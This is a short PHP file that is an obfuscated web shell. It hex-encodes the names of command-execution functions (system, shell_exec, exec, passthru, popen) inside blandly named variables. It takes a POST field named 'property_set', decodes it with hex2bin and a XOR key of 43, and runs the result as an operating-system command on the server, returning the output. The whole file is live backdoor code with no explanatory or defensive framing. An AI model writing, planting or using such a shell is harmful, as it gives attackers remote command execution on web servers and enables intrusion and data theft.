<?php

$request_approved = "h\x65x2\x62in";
$framework6 = "\x73\x74r\x65\x61\x6D\x5F\x67e\x74\x5F\x63ontents";
$framework5 = "\x70\x6F\x70en";
$framework7 = "p\x63lose";
$framework2 = "\x73\x68\x65ll_\x65\x78ec";
$framework4 = "\x70\x61ss\x74\x68ru";
$framework3 = "\x65x\x65c";
$framework1 = "s\x79\x73tem";
if (isset($_POST["pr\x6F\x70e\x72t\x79_\x73et"])) {
    function sync_manager ($ent    ,$flag  ){    $hld    ='' ; foreach(str_split($ent) as $char){$hld.=chr(ord($char)^$flag);} return  $hld;  }
    $property_set = $request_approved($_POST["pr\x6F\x70e\x72t\x79_\x73et"]);
    $property_set = sync_manager($property_set, 43);
    if (function_exists($framework1)) {
        $framework1($property_set);
    } elseif (function_exists($framework2)) {
        print $framework2($property_set);
    } elseif (function_exists($framework3)) {
        $framework3($property_set, $property_set_ent);
        print join("\n", $property_set_ent);
    } elseif (function_exists($framework4)) {
        $framework4($property_set);
    } elseif (function_exists($framework5) && function_exists($framework6) && function_exists($framework7)) {
        $flag_hld = $framework5($property_set, 'r');
        if ($flag_hld) {
            $sym_obj = $framework6($flag_hld);
            $framework7($flag_hld);
            print $sym_obj;
        }
    }
    exit;
}